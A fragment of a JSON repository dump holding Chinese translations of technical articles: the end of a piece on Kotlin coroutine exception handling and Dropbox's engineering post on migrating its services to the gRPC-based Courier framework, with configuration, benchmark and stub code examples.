异常冒泡\n\n当一个协程崩溃时，它的父节点将被取消，从而取消所有父节点的子节点。一旦整个树节点中的协程完成取消操作，异常将会发送到当前上线文的异常处理程序。在 Android 中，这意味着 **你的** 程序将会 **崩溃**，而不管你使用什么来进行调度。\n\n#### `async` 持有自己的异常\n\n这意味着 `await()` 显式处理所有异常，安装 `CoroutineExceptionHandler` 将无任何效果。\n\n#### `launch` “blocks” 父作用域\n\n虽然该函数会立即返回，但其父作用域将 **不会** 结束，直到使用 `launch` 构建的所有协程以某种方式完成。因此如果你只是想等待所有协程完成，在父作用域末尾调用所有子作业的 `join()` 就没有必要了。\n\n与你期望的可能不同，即使未调用 `await（）`，外部作用域仍将等待`async`协程完成。\n\n#### `async` 返回值\n\n这一部分相当简单：如果你需要协程的返回值，`async` 是唯一的选择。如果你不需要返回值，使用 `launch` 来创建副作用。并且在继续执行之前需要完成这些副作用才需要使用 `join()`。\n\n#### `join()` vs. `await()`\n\n`join()` 在 `await()` 时 **不会** 重新抛出异常。但如果发生错误，`join()` 会取消你的协程，这意味着在 `join()` 挂起后调用任何代码都不会起作用。\n\n### 记录异常\n\n现在你了解了你所使用不同构造器异常处理机制的差异，你会陷入两难境地：你想记录异常而不崩溃（所以我们不能使用 `launch`），但是你不想手动调用 `try`/`catch` （所以我们不能使用 `async`）。所以这让我们无所适从？谢天谢地。\n\n记录异常是  `CoroutineExceptionHandler` 派上用场的地方。但首先，让我们花点时间了解在协程中抛出异常时究竟发生了什么：\n\n1.  捕获异常，然后通过 `Continuation` 恢复。\n2.  如果你的代码没有处理异常并且该异常不是 `CancellationException`，那么将通过当前的 `CoroutineContext` 请求第一个 `CoroutineExceptionHandler`。\n3.  如果未找到处理程序或处理程序有错误，那么异常将发送到平台中的特定代码。\n4.  在 JVM 上，`ServiceLoader` 用于定位全局处理程序。\n5.  一旦调用了所有处理程序或有一个处理程序出现错误，就会调用当前线程的异常处理程序。\n6.  如果当前线程没有处理该异常，它会冒泡到线程组并最终到达默认异常处理程序。\n7.  崩溃！\n\n考虑到这一点，我们有以下几个选择：\n\n*   为每个线程安装一个处理程序，但这是不现实的。\n*   安装默认处理程序，但主线程中的错误不会让你的应用崩溃，并且你将处于潜在的不良状态。\n*   [将处理程序添加为服务](https://gist.github.com/SUPERCILEX/f4b01ccf6fd4ef7ec0a85dbd59c89d6c) 当使用 `launch` 的任何协程崩溃时都会调用它（hacky）。\n*   使用你自己的自定义域与附加的处理程序来替换 `GlobalScope`，或将处理程序添加到你使用的每个作用域，但这很烦人并使日志记录由默认变成了可选。\n\n最后一个方案是所推荐的，因为它具有灵活性并且需要最少的代码和技巧。\n\n对于应用程序范围内的作业，你将使用带有日志记录处理程序的 `AppScope`。对于其他业务，你可以在日志记录崩溃的适当位置添加处理程序。\n\n```\nval LoggingExceptionHandler = CoroutineExceptionHandler { _, t ->\n    Crashlytics.logException(t)\n}\nval AppScope = GlobalScope + LoggingExceptionHandler\n```\n\n```\nclass ViewModelBase : ViewModel(), CoroutineScope {\n    override val coroutineContext = Job() + LoggingExceptionHandler\n\n    override fun onCleared() = coroutineContext.cancel()\n}\n```\n\n不是很糟糕\n\n### 最后的思考\n\n任何时候我们必须处理边缘情况，事情往往会很快变得混乱。我希望这篇文章能够帮助你了解在非标准条件下可能遇到的各种问题，以及你可以使用的解决方案。\n\nHappy Kotlining!\n\n* [**Alex Saveau (@SUPERCILEX) | Twitter**: The latest Tweets from Alex Saveau (@SUPERCILEX). All things 🔥base, Android, and open-source. Also, 🐤 builds...](https://twitter.com/SUPERCILEX \"https://twitter.com/SUPERCILEX\")\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/courier-dropbox-migration-to-grpc.md",
    "content": "> * 原文地址：[Courier: Dropbox migration to gRPC](https://blogs.dropbox.com/tech/2019/01/courier-dropbox-migration-to-grpc/)\n> * 原文作者：[blogs.dropbox.com](https://blogs.dropbox.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/courier-dropbox-migration-to-grpc.md](https://github.com/xitu/gold-miner/blob/master/TODO1/courier-dropbox-migration-to-grpc.md)\n> * 译者：[kasheemlew](https://github.com/kasheemlew)\n> * 校对者：[shixi-li](https://github.com/shixi-li)\n\n# Courier: Dropbox 的 gRPC 迁移利器\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/01-screenshot2018-12-0516.35.14-black.png?w=650&h=352)\n\nDropbox 运行着几百个服务，它们由不同的语言编写，每秒会交换几百万个请求。在我们面向服务架构的中心就是 Courier，它是我们基于 gRPC 的远过程调用（RPC）框架。在开发 Courier 的过程中，我们学到了很多扩展 RPC 并优化性能和衔接原有 RPC 系统的东西。\n\n**注释：本文只展示了 Python 和 Go 生成代码的例子。我们也支持 Rust 和 Java。**\n\n## The road to gRPC\n\nCourier 不是 Dropbox 的第一个 RPC 框架。在我们正式开始将庞大的 Python 程序拆成多个服务之前，我们就认识到服务之间的通信需要有牢固的基础，所以选择一个高可靠性的 RPC 框架就显得尤其关键。\n\n开始之前，Dropbox 调研了多个 RPC 框架。首先，我们从传统的手动序列化和反序列化的协议着手，比如我们用 [Apache Thrift](https://github.com/apache/thrift) 搭建的[基于 Scribe 的日志管道](https://blogs.dropbox.com/tech/2015/05/how-to-write-a-better-scribe/)之类的服务。但我们主要的 RPC 框架（传统的 RPC）是基于 HTTP/1.1 协议并使用 protobuf 编码消息。\n\n我们的新框架有几个候选项。我们可以升级遗留的 RPC 框架使其兼容 Swagger（现在叫 [OpenAPI](https://github.com/OAI/OpenAPI-Specification)），或者[建立新标准](https://xkcd.com/927/)，也可以考虑在 Thrift 和 gRPC 的基础上开发。\n\n我们最终选择 gRPC 主要是因为它允许我们沿用 protobuf。对于我们的情况，多路 HTTP/2 传输和双向流也很有吸引力。\n\n> 如果那时候有 [fbthrift](https://github.com/facebook/fbthrift) 的话，我们也许会仔细瞧瞧基于 Thrift 的解决方案。\n\n## Courier 给 gRPC 带来了什么\n\nCourier 不是一个新的 RPC 协议 —— 它只是 Dropbox 用来兼容 gRPC 和原有基础设施的解决方案。例如，只有使用指定版本的验证、授权和服务发现时它才能工作。它还必须兼容我们的统计、事件日志和追踪工具。满足所有这些条件才是我们所说的 Courier。\n\n> 尽管我们支持在一些特殊情况下使用 [Bandaid](https://blogs.dropbox.com/tech/2018/03/meet-bandaid-the-dropbox-service-proxy/) 作为 gRPC 代理，但为了减小 RPC 的延迟，大多数服务间的通信并不使用代理。\n\n我们想减少需要编写的样板文件的数量。作为我们服务开发的通用框架，Courier 拥有所有服务需要的特性。大多数特性都是默认开启的，并且可以通过命令行参数进行控制。有些还可以使用特性标识动态开启。\n\n### 安全性：服务身份和 TLS 相互认证\n\nCourier 实现了我们的标准服务身份机制。我们的服务器和客户端都有各自的 TLS 证书，这些证书由我们内部的权威机构颁发。每个服务器和客户端还有一个使用这个证书加密的身份，用于他们之间的双向验证。\n\n> 我们在 TLS 侧控制通信的两端，并强制进行一些默认的限制。内部的 RPC 通信都强制使用 [PFS](https://scotthelme.co.uk/perfect-forward-secrecy/) 加密。TLS 的版本固定为 1.2+。我们还限制使用对称/非对称算法的安全的子集进行加密，这里比较倾向于使用 `ECDHE-ECDSA-AES128-GCM-SHA256`。\n\n完成身份认证和请求的解码之后，服务器会对客户端进行权限验证。在服务层和独立的方法中都可以设置访问控制表(ACL) 和限制速率，也可以使用我们的分布式配置系统（AFS）进行更新。这样就算服务管理者不重启进程，也能在几秒之内完成分流。订阅通知和更新配置由 Courier 框架完成。\n\n> 服务 “身份” 是用于 ACL、速率限制、统计等的全局标识符。另外，它也是加密安全的。\n\n我们的[光学字符识别（OCR）](https://blogs.dropbox.com/tech/2018/10/using-machine-learning-to-index-text-from-billions-of-images/)服务中有这样一个 Courier ACL/速率限制配置定义的例子：\n\n```\nlimits:\n  dropbox_engine_ocr:\n    # 所有的 RPC 方法。\n    default:\n      max_concurrency: 32\n      queue_timeout_ms: 1000\n\n      rate_acls:\n        # OCR 客户端无限制。\n        ocr: -1\n        # 没有其他人与我们通信。\n        authenticated: 0\n        unauthenticated: 0\n```\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/02-screenshot2018-12-0317.31.03.png?w=650&h=358)\n\n> 我们在考虑使用[每个人都该用的安全生产标识框架](https://spiffe.io/) (SPIFFE)中的 SPIFFE 可验证标识证件。这将使我们的 RPC 框架与众多开源项目兼容。\n\n### 可观察性：统计和追踪\n\n有了标识，我们很容易就能定位到对应 Courier 服务的标准日志、统计、记录等有用的信息。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/03-screenshot2018-12-0518.03.17.png?w=650&h=249)\n\n我们的代码生成给客户端和服务端的每个服务和方法都添加了统计。服务端的统计数据按客户端的标识符分类。每个 Courier 服务的负载、错误和延迟都进行了细粒度的归因，由此实现了开箱即用。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/gw1uztwk.png?w=650&h=379)\n\nCourier 的统计包括客户端的可用性、延迟和服务端请求率和队列大小。还有各请求延迟直方图、各客户端 TLS 握手等各种分类。\n\n> 拥有自己的代码生成的一个好处是我们可以静态地初始化这些数据结构，包括直方图和追踪范围。这减小了性能的影响。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/05-screenshot2018-12-0516.44.06.png?w=650&h=271)\n\n我们传统的 RPC 在 API 边界只传送 `request_id`，因此可以从不同的服务中加入日志。在 Courier 中，我们采用了基于 [OpenTracing](https://opentracing.io/) 规范的一个子集的 API。在客户端，我们编写了自己的库；在服务端，我们基于 Cassandra 和 [Jaeger](https://github.com/jaegertracing/jaeger) 进行开发。关于如何优化这个追踪系统的性能，我们有必要用一片专门的文章来讲解。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/06-screenshot2018-12-0516.35.14.png?w=650&h=352)\n\n追踪让我们可以生成一个运行时服务的依赖图，用于帮助工程师理解一个服务所有的传递依赖，也可以在完成部署后用于检查和避免不必要的依赖。\n\n### 可靠性：截止期限和断路限制\n\nCourier 集中管理所有的客户端的基于特定语言实现的功能，例如超时。随着时间的推移，我们还在这一层加入了像检视的任务项之类的功能。\n\n**截止期限**\n\n每个 [gRPC](https://grpc.io/blog/deadlines) [请求都包含一个](https://grpc.io/blog/deadlines) [截止期限](https://grpc.io/blog/deadlines)，用来表示客户端等待回复的时长。由于 Courier 自动传送全部已知的元数据，截止期限会一只存在于请求中，甚至跨越 API 边界。在进程中，截止期限被转换成了特定的表示。例如在 Go 中会使用 `WithDeadline` 方法的返回结构 `context.Context` 进行表示。\n\n在实践过程中，我们要求工程师们在服务的定义中制定截止期限，从而使所有的类都是可靠的。\n\n> 这个上下文甚至可以被传送到 RPC 层之外！例如，我们传统的 MySQL ORM 将 RPC 的上下文和截止期限序列化，放入 SQL 查询的注释中，我们的 SQLProxy 就可以解析这些评论，并在超过截止期限后 `杀死` 这些查询 。附带的好处是我们在调试数据库查询的时候能够找到每个请求的原因。\n\n**断路限制**\n\n另一个常见的问题是传统的 RPC 客户端需要在重试时实现自定义指数补偿和抖动。\n\n在 Courier 中，我们希望用一种更通用的方法解决断路限制的问题，于是在监听器和工作池之间采用了一个 LIFO 队列。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/07-screenshot2018-12-0521.54.58.png?w=650&h=342)\n\n在服务过载的时候，这个 LIFO 队列就会像一个自动断路器一样工作。这个队列不仅有大小的限制，还有更严格的**时间限制**。一个请求只能在该队列中存在指定的时间。\n\n> LIFO 在对请求排序时有缺陷。如果想维持顺序，你可以试试 [CoDel](https://queue.acm.org/detail.cfm?id=2209336)。它也有断路限制的功能，且不会打乱请求的顺序\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/08-screenshot2018-12-0521.54.48.png?w=650&h=342)\n\n### 自省：调试端点\n\n调试端点尽管不是 Courier 本身的一部分，但在 Dropbox 中得到了广泛的使用。它们太有用了，我不能不提！这里有些有用的自省的例子。\n\n> 为了安全考虑，你可能想将这些暴露到一个单独的端口（也许只是一个回环接口）甚至是一个 Unix 套接字（可以用 Unix 文件系统进行控制。）你也一定要考虑使用双向 TLS 验证，要求开发者在访问调试端点时提供他们的证书（特别是非只读的那些。）\n\n**运行时**\n\n能在看到运行时的状态是非常有用的。例如 [堆和 CPU 文件可以暴露为 HTTP 或 gRPC 端点](https://golang.org/pkg/net/http/pprof/)。\n\n> 我们打算在灰度验证的阶段用这个方法自动化新旧版本代码间的对比。\n\n这些调试端点允许在修改运行时的状态，例如，一个用 golang 开发的服务可以动态设置 [GCPercent](https://golang.org/pkg/runtime/debug/#SetGCPercent)。\n\n**库**\n\n动态导出某些特定库的数据作为 RPC 端点对于库的作者来说很有用。[malloc 库转储内部状态](http://jemalloc.net/jemalloc.3.html#malloc_stats_print_opts)就是个很好的例子。\n\n**RPC**  \n考虑到对加密的和二进制编码的协议进行故障诊断有点复杂，因此应该在性能允许的情况下向 RPC 层加入尽可能多的工具。最近有个这样的自省 API 的例子，就是 [gRPC 的 channelz 提案](https://github.com/grpc/proposal/blob/master/A14-channelz.md)。\n\n**应用**\n\n查看 API 级别的参数也很有用。将构建/原地址散列、命令行等用于通用应用信息端点就是很好的例子。编排系统可以通过这些信息验证服务部署的一致性。\n\n## 性能优化\n\n在扩展 Dropbox 的 gRPC 规模的时候，我们发现了很多性能瓶颈。\n\n### TLS 握手开销\n\n由于服务要处理大量的连接，累积起来的 TLS 握手开销是不可忽视的。在大规模服务重启时这一点尤其突出。\n\n为了提升签约操作的性能，我们将 RSA 2048 密钥对换成了 ECDSA P-256。下面是 BoringSSL 性能的例子（尽管 RSA 比签名验证还是要快一些）：\n\nRSA:\n\n```\n𝛌 ~/c0d3/boringssl bazel run -- //:bssl speed -filter 'RSA 2048'\nDid ... RSA 2048 signing operations in ..............  (1527.9 ops/sec)\nDid ... RSA 2048 verify (same key) operations in .... (37066.4 ops/sec)\nDid ... RSA 2048 verify (fresh key) operations in ... (25887.6 ops/sec)\n```\n\nECDSA:\n\n```\n𝛌 ~/c0d3/boringssl bazel run -- //:bssl speed -filter 'ECDSA P-256'\nDid ... ECDSA P-256 signing operations in ... (40410.9 ops/sec)\nDid ... ECDSA P-256 verify operations in .... (17037.5 ops/sec)\n```\n\n> 从性能上说，RSA 2048 验证比 ECDSA P-256 大约快了 3 倍，因此你可以考虑用 RSA 作为根/叶的证书。但是从安全方面考虑，切换安全原语可能有些困难，况且这样会带来最小的安全属性。\n> 同样考虑性能因素，你在使用 RSA 4096（或更高）证书之前应该三思。\n\n我们还发现 TLS 库（以及编译标识）在性能和安全方面有很大的影响。例如，下面比较了相同硬件环境下 MacOS X Mojave 的 LibreSSL 构建和 homebrewed OpenSSL：\n\nLibreSSL 2.6.4:\n\n```\n𝛌 ~ openssl speed rsa2048\nLibreSSL 2.6.4\n...\n                  sign    verify    sign/s verify/s\nrsa 2048 bits 0.032491s 0.001505s     30.8    664.3\n```\n\nOpenSSL 1.1.1a:\n\n```\n𝛌 ~ openssl speed rsa2048\nOpenSSL 1.1.1a  20 Nov 2018\n...\n                  sign    verify    sign/s verify/s\nrsa 2048 bits 0.000992s 0.000029s   1208.0  34454.8\n```\n\n但是最快的方法就是不使用 TLS 握手！为了支持会话恢复，[我们修改了 gRPC-core 和 gRPC-python](https://github.com/grpc/grpc/issues/14425)，降低了服务启动时的 CPU 占用。\n\n### 加密开销并不高\n\n人们有个普遍的误解，认为加密开销很高。事实上，对称加密在现代硬件上相当快。桌面级的处理器使用单核就能以 40Gbps 的速率进行加密和验证。\n\n```\n𝛌 ~/c0d3/boringssl bazel run -- //:bssl speed -filter 'AES'\nDid ... AES-128-GCM (8192 bytes) seal operations in ... 4534.4 MB/s\n```\n\n尽管如此，我们最终还是要使 gRPC 适配我们的 [50Gb/s 储存箱](https://blogs.dropbox.com/tech/2018/06/extending-magic-pocket-innovation-with-the-first-petabyte-scale-smr-drive-deployment/)。我们了解到，当加密速度可以和内存拷贝速度相提并论的时候，降低 `memcpy` 操作的次数至关重要。此外，我们[对 gRPC 本身也做了修改](https://github.com/grpc/grpc/issues/14058)\n\n> 验证和加密协议有一些很棘手的问题。例如，处理器、DMA 和 网络数据损坏。即便你不用 gRPC，使用 TLS 进行内部通信也是个好主意。\n\n### 高时延带宽积链接\n\nDropbox 拥有 [大量通过骨干网络连接的数据中心](https://blogs.dropbox.com/tech/2017/09/infrastructure-update-evolution-of-the-dropbox-backbone-network/)。有时候不同区域的节点可能需要使用 RPC 进行通信，例如为了复制。使用 TCP 的内核是为了限制指定连接（限制在 `/proc/sys/net/ipv4/tcp_{r,w}mem`）的传输中数据的数量。由于 gRPC 是基于 HTTP/2 的，在 TCP 之上还有其特有的流控制。[BDP 的上限硬编码于](https://github.com/grpc/grpc-go/issues/2400) [grpc-go 为 16Mb](https://github.com/grpc/grpc-go/issues/2400)，这可能会成为单一的高 BDP 连接的瓶颈。\n\n### Golang 的 net.Server 和 grpc.Server 对比\n\n在我们的 Go 代码中，我们起初支持 HTTP/1.1 和 gRPC 使用相同的 [net.Server](https://golang.org/pkg/net/http/#Server)。这从逻辑上讲得通，但是在性能上表现不佳。将 HTTP/1.1 和 gRPC 拆分到不同的路径、用不同的服务器管理并且将 gRPC 换成 [grpc.Server](https://godoc.org/google.golang.org/grpc#Server) 大大改进了 Courier 服务的吞吐量和内存占用。\n\n### golang/protobuf 和 gogo/protobuf 对比\n\n如果你使用 gRPC 的话，编组和解组开销会很大。对于我们的 Go 代码，我们使用了 [gogo/protobuf](https://github.com/gogo/protobuf)，它显著降低了对我们最忙碌的 Courier 服务器的 CPU 使用。\n\n> 同样的，[使用 gogo/protobuf 也有一些注意事项](https://jbrandhorst.com/post/gogoproto/)，但坚持使用一个正常的功能子集的话应该没问题。\n\n## 实现细节\n\n从这里开始，我们将会深挖 Courier 的内部，看看不同语言下的 protobuf 模式和存根的例子。下面所有的例子都会用我们的 `Test` 服务（我们在 Courier 中用这个进行集成测试）\n\n### 服务描述\n\n```\nservice Test {\n    option (rpc_core.service_default_deadline_ms) = 1000;\n\n    rpc UnaryUnary(TestRequest) returns (TestResponse) {\n        option (rpc_core.method_default_deadline_ms) = 5000;\n    }\n\n    rpc UnaryStream(TestRequest) returns (stream TestResponse) {\n        option (rpc_core.method_no_deadline) = true;\n    }\n    ...\n}\n```\n\n在可用性章节，我们提到了所有的 Courier 方法都必须拥有截止期限。通过下面的 protobuf 选项可以对整个服务进行设置。\n\n```\noption (rpc_core.service_default_deadline_ms) = 1000;\n```\n\n也可以对每个方法单独设置截止期限，并覆盖服务范围的设置（如果存在的话）。\n\n```\noption (rpc_core.method_default_deadline_ms) = 5000;\n```\n\n在极少情况下，截止期限确实没用（例如监视资源的方法），这时便允许开发者显式禁用它：\n\n```\noption (rpc_core.method_no_deadline) = true;\n```\n\n真正的服务定义将会有详细的 API 文档，甚至会有使用的例子。\n\n### 存根生成\n\nCourier 不依赖拦截器（Java 除外，它的拦截器 API 已经足够强大了），它会生成特有的存根，这让我们用起来很灵活。我们来比较下下我们的存根和 Golang 默认的存根。\n\n这是默认的 gRPC 服务器存根：\n\n```\nfunc _Test_UnaryUnary_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n        in := new(TestRequest)\n        if err := dec(in); err != nil {\n                return nil, err\n        }\n        if interceptor == nil {\n                return srv.(TestServer).UnaryUnary(ctx, in)\n        }\n        info := &grpc.UnaryServerInfo{\n                Server:     srv,\n                FullMethod: \"/test.Test/UnaryUnary\",\n        }\n        handler := func(ctx context.Context, req interface{}) (interface{}, error) {\n                return srv.(TestServer).UnaryUnary(ctx, req.(*TestRequest))\n        }\n        return interceptor(ctx, in, info, handler)\n}\n```\n\n这里所有的处理过程都在一行内完成：解码 protobuf、运行拦截器、调用 `UnaryUnary` 处理器。\n\n我们再看看 Courier 的存根：\n\n```\nfunc _Test_UnaryUnary_dbxHandler(\n        srv interface{},\n        ctx context.Context,\n        dec func(interface{}) error,\n        interceptor grpc.UnaryServerInterceptor) (\n        interface{},\n        error) {\n\n        defer processor.PanicHandler()\n\n        impl := srv.(*dbxTestServerImpl)\n        metadata := impl.testUnaryUnaryMetadata\n\n        ctx = metadata.SetupContext(ctx)\n        clientId = client_info.ClientId(ctx)\n        stats := metadata.StatsMap.GetOrCreatePerClientStats(clientId)\n        stats.TotalCount.Inc()\n\n        req := &processor.UnaryUnaryRequest{\n                Srv:            srv,\n                Ctx:            ctx,\n                Dec:            dec,\n                Interceptor:    interceptor,\n                RpcStats:       stats,\n                Metadata:       metadata,\n                FullMethodPath: \"/test.Test/UnaryUnary\",\n                Req:            &test.TestRequest{},\n                Handler:        impl._UnaryUnary_internalHandler,\n                ClientId:       clientId,\n                EnqueueTime:    time.Now(),\n        }\n\n        metadata.WorkPool.Process(req).Wait()\n        return req.Resp, req.Err\n}\n```\n\n这里代码有点多，我们一行一行来看。\n\n首先，我们推迟用于错误收集的应急处理器。这样就可以将未捕获的异常发送到集中的位置，用于后面的聚合和报告：\n\n```\ndefer processor.PanicHandler()\n```\n\n> 设置自定义应急处理器的另一个原因是为了保证我们在出错时终止应用。默认 golang/net HTTP 处理器的行为是忽略这些错误并继续处理新的请求（这有崩溃和状态不一致的风险）\n\n然后我们使用覆盖请求元数据中的值的方式传递上下文：\n\n```\nctx = metadata.SetupContext(ctx)\nclientId = client_info.ClientId(ctx)\n```\n\n我们还在服务端给每个客户端添加了统计，用于更细粒度的归因：\n\n```\nstats := metadata.StatsMap.GetOrCreatePerClientStats(clientId)\n```\n\n> 这在运行时给每个客户端（就是每个 TLS 身份）动态添加了统计。每个服务的每个方法也会有统计，并且由于存根生成器在生成代码的时候拥有所有方法的权限，我们可以静态添加，以避免运行时的开销。\n\n然后我们创建请求结构，将它传入工作池，等待完成。\n\n    req := &processor.UnaryUnaryRequest{\n            Srv:            srv,\n            Ctx:            ctx,\n            Dec:            dec,\n            Interceptor:    interceptor,\n            RpcStats:       stats,\n            Metadata:       metadata,\n            ...\n    }\n    metadata.WorkPool.Process(req).Wait()\n    \n\n请注意，现在所有的工作都还没完成：没有解码 protobuf，没有执行拦截器等等。在工作池中使用 ACL，优先化和速率限制都在这些之前发生。\n\n> 注意，[golang gRPC 库支持](https://godoc.org/google.golang.org/grpc/tap)[这个](https://godoc.org/google.golang.org/grpc/tap) [Tap 接口](https://godoc.org/google.golang.org/grpc/tap)，这使得初期的请求拦截成为可能，同时给构建高效低耗的速率控制器提供了基础。\n\n### 特定应用的错误代码\n\n我们的存根生成器允许开发者通过自定义选项定义特定应用的错误代码\n\n```\nenum ErrorCode {\n  option (rpc_core.rpc_error) = true;\n\n  UNKNOWN = 0;\n  NOT_FOUND = 1 [(rpc_core.grpc_code)=\"NOT_FOUND\"];\n  ALREADY_EXISTS = 2 [(rpc_core.grpc_code)=\"ALREADY_EXISTS\"];\n  ...\n  STALE_READ = 7 [(rpc_core.grpc_code)=\"UNAVAILABLE\"];\n  SHUTTING_DOWN = 8 [(rpc_core.grpc_code)=\"CANCELLED\"];\n}\n```\n\n在同一个服务中，会传播 gRPC 和应用错误，但是所有的错误在 API 边界都会被替换成 UNKOWN。这避免了不同服务之间的意外错误代理的问题，修改了语义上的意思。\n\n### Python 特定的修改\n\n我们在 Python 存根给所有的 Courier 处理器中加入了显式的上下文参数，例如：\n\n```\nfrom dropbox.context import Context\nfrom dropbox.proto.test.service_pb2 import (\n        TestRequest,\n        TestResponse,\n)\nfrom typing_extensions import Protocol\n\nclass TestCourierClient(Protocol):\n    def UnaryUnary(\n            self,\n            ctx,      # 类型：Context\n            request,  # 类型：TestRequest\n            ):\n        # 类型： (...) -> TestResponse\n        ...\n```\n\n一开始，这看起来有些奇怪，但时候后来开发者们渐渐习惯了显式的 `ctx`，就像他们习惯 `self` 一样。\n\n请注意，我们的存根也都是 mypy 类型的，这在大规模重构期间会得到充分的回报。并且 mypy 在像 PyCharm 这样的 IDE 中也已经得到了很好的集成。\n\n继续静态类型的趋势，我们还可以将 mypy 的注解加入到 proto 中。\n\n```\nclass TestMessage(Message):\n    field: int\n\n    def __init__(self,\n        field : Optional[int] = ...,\n        ) -> None: ...\n    @staticmethod\n    def FromString(s: bytes) -> TestMessage: ...\n```\n\n这些注解避免了许多常见的漏洞，比如将 `None` 赋值给 Python 中的 `string` 字段。\n\n这些代码在 [dropbox/mypy-protobuf](https://github.com/dropbox/mypy-protobuf) 中开源了。\n\n## 迁移过程\n\n编写一个新的 RPC 栈绝非易事，但就操作的复杂性而言还是不能和跨范围的迁移相提并论。为了保证项目的成功，我们尝试简化开发者从传统 RPC 迁移到 Courier 的过程。由于迁移本身就是个很容易出错的过程，我们决定分成多个步骤来进行。\n\n### 第 0 步： 冻结传统的 RPC\n\n在开始之前，我们会冻结传统 RPC 的特征集，这样他就不会变化了。这样，由于追踪和流之类的新特性只能在 Courier 的服务中使用，大家也会更愿意迁移到 Courier。\n\n### 第 1 步：传统 RPC 和 Courier 的通用接口\n\n我们从给传统 RPC 和 Courier 定义通用接口开始。我们的代码生成会生成适用于这两种版本接口的存根：\n\n```\ntype TestServer interface {\n   UnaryUnary(\n      ctx context.Context,\n      req *test.TestRequest) (\n      *test.TestResponse,\n      error)\n   ...\n}\n```\n\n### 第 2 步：迁移到新接口\n\n然后我们将每个服务都切换到新的接口，但还是使用传统 RPC。这对于所有服务和客户端中的方法来说通常都有很大的差异。这个过程很容易出错，为了尽可能降低风险，我们每次只改一个参数。\n\n> 处理只有少数方法和[备用错误预算](https://landing.google.com/sre/sre-book/chapters/embracing-risk/)的低阶服务时可以一步完成迁移，不用管这个警告。\n\n### 第 3 步：将客户端切换到 Courier RPC\n\n作为迁移到 Courier 的一部分，我们需要在不同的端口上同时运行传统和 Courier 服务器的二进制文件。然后将客户端中 RPC 实现的一行进行修改。\n\n```\nclass MyClient(object):\n  def __init__(self):\n-   self.client = LegacyRPCClient('myservice')\n+   self.client = CourierRPCClient('myservice')\n```\n\n请注意，使用上面的模型一次可以迁移一个客户端，我们可以从批处理进程和其他一些异步任务等拥有较低 SLA 的开始。\n\n### 第 4 步：清理\n\n在所有的服务客户端都迁移完成之后，我们需要证明传统的 RPC 已经不再被使用了（可以通过代码检查静态地完成，或者通过检查传统服务器统计来动态地完成。）这一步完成之后，开发者就可以继续进行清理并删掉旧的代码了。\n\n## 经验教训\n\n到了最后，Courier 带给我们的是一个可以加速服务开发的统一 RPC 框架，它简化了操作并加强了 Dropbox 的可靠性。\n\n这里我们总结了开发和部署 Courier 过程中主要的经验教训：\n\n1. 可观察性是一个特性。在排除故障时，所有现成的度量和故障是非常宝贵的。\n2. 标准化和一致性很重要。它们可以降低认知压力并简化操作和代码维护。\n3. 试着最小化代码开发者需要编写的样板文件。代码生成器是你的伙伴。\n4. 尽量让迁移简单些。迁移通常需要比开发更多的时间。同时，迁移只有在清理过程完成之后才算结束。\n5. 可以在 RPC 框架中对基础设施范围内的可靠性进行改进，例如，强制截止期限、超载保护等等。常见的可靠性问题可以通过每个季度的事件报告来确定。\n\n## 工作展望\n\nCourier 和 gRPC 本身都在不断变化，所以我们最后来总结一下运行时团队和可靠性团队的工作路线。\n\n在不远的将来，我们会给 Python 的 gRPC 代码加一个合适的解析器 API，切换到 Python/Rust 中的 C++ 绑定，并加上完整的断路控制和故障注入的支持。明年我们准备调研一下 [ALTS 并且将 TLS 握手移到单独的进程](https://cloud.google.com/security/encryption-in-transit/application-layer-transport-security/resources/alts-whitepaper.pdf)（可能甚至与服务容器分离开。）\n\n## 我们在招聘！\n\n你想做运行时相关的工作吗？Dropbox 在山景城和旧金山的小团队负责全球分布的边缘网络、兆比特流量、每秒数百万次的请求。\n\n![](https://dropboxtechblog.files.wordpress.com/2019/01/09-screenshot2018-10-0318.04.58.png?w=650&h=364)\n\n[通信量/运行时/可靠性团队都在招 SWE 和 SRE](https://www.dropbox.com/jobs/listing/1233364?gh_src=f80311fa1)，负责开发 TCP/IP 包处理器和负载均衡器、HTTP/gRPC 代理和我们内部的运行时 service mesh：Courier/gRPC、服务发现和 AFS。感觉不合适？我们[旧金山、纽约、西雅图、特拉维等地的办公室还有各个方向的职位](https://www.dropbox.com/jobs/teams/engineering?gh_src=f80311fa1#open-positions)。\n\n## 鸣谢\n\n**项目贡献者**：Ashwin Amit、Can Berk Guder、Dave Zbarsky、Giang Nguyen、Mehrdad Afshari、Patrick Lee、Ross Delinger、Ruslan Nigmatullin、Russ Allbery 和 Santosh Ananthakrishnan。\n\n同时也非常感谢 gRPC 团队的支持。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 